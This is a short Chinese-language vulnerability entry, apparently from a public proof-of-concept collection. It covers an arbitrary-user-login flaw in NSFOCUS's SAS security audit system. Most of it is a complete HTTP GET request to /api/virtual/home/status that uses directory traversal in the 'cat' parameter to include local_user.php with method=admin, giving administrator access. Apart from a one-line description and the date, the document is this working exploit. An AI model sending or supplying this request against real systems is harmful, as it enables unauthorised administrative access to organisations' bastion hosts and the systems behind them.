绿盟安全审计系统SAS /api/virtual/home/status 任意用户登录漏洞

日期: 2023-02-02 | 影响软件: 绿盟安全审计系统SAS | POC: 已公开

漏洞描述

绿盟堡垒机存在任意用户登录漏洞，攻击者通过漏洞包含 www/local_user.php 实现任意⽤户登录

PoC代码

GET /api/virtual/home/status?cat=../../../../../../../../../../../../../../usr/local/nsfocus/web/apache2/www/local_user.php&method=admin HTTP/1.1
Host: 
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: keep-alive
Upgrade-Insecure-Requests: 1